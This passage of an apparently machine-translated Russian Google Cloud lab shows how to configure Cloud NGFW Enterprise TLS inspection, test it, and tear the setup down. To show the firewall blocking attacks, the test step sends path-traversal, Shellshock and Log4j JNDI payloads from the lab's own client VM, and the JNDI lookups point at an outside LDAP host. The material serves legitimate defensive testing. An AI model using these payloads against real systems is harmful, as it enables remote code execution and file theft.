      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Импортируйте конфигурацию доверия:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Обновите YAML-файл политики TLS, добавив в него конфигурацию доверия:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Импортируйте обновленную политику TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Проверка качества инспекции TLS в направлении Восток/Запад

Подключитесь к клиенту по SSH, чтобы проверить трафик E/W с обновленной конфигурацией доверия:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Выполните пример TLS-запроса к серверу:

curl https://$target_privateip --max-time 2

Если вы по-прежнему получаете указанный ниже результат, пожалуйста, подождите, пока обновления распространятся.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Ожидаемый результат:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Отправьте вредоносный тестовый трафик на сервер:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Ожидаемый результат:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Ответы, соответствующие ожидаемому результату, не получены, что подтверждает блокировку тестовых атак для Востока и Запада.

13. Ведение лесозаготовок

Перейдите в раздел «Журналы» > «Обозреватель журналов» в консоли Cloud Console, введите указанный ниже фильтр и выполните запрос к журналам. Замените [PROJECT_ID] на идентификатор вашего проекта:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

В логах Cloud NGFW Enterprise должны отображаться записи, аналогичные приведенным ниже:

Разверните записи журнала и обратите внимание, что атаки, отправленные с клиентской виртуальной машины на сервер, были выявлены и заблокированы ( уязвимость удаленного выполнения кода Apache Log4j, как показано на скриншоте ниже).

Вы успешно развернули Cloud NGFW Enterprise с проверкой TLS для блокировки вредоносных запросов.

Перейдите к следующему разделу, где описаны этапы уборки.

14. Этапы уборки

Завершение настройки базы

Удалите экземпляры:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Выполните следующие действия , если роли tagAdmin и tagUsers были изменены:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Удалите ключ и значения тега:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Удалите сетевую политику и привязку облачного брандмауэра:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Удалите Cloud Router и Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Удалите зарезервированные IP-адреса:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Очистка SPG, ассоциаций и TLS облачного межсетевого экрана

Удалите группу профилей безопасности и профиль угроз в следующем порядке:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Удалите привязку конечной точки Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Удалите конечную точку облачного брандмауэра, что может занять около 20 минут :

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

При желании подтвердите удаление конечной точки Cloud NGFW, выполнив следующую команду:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Состояние конечной точки должно отображать:

STATE: DELETING

После завершения процесса конечная точка больше не будет отображаться в списке.

Удалите политику TLS и конфигурацию доверия в следующем порядке:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Отключите и удалите корневой центр сертификации и пул центров сертификации:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Очистка подсетей и VPC

Наконец, удалите подсеть и сеть VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. Поздравляем!

Поздравляем, вы успешно завершили практическое занятие по проверке TLS-соединения в облачной среде NGFW Enterprise для восточно-западного и северного направлений.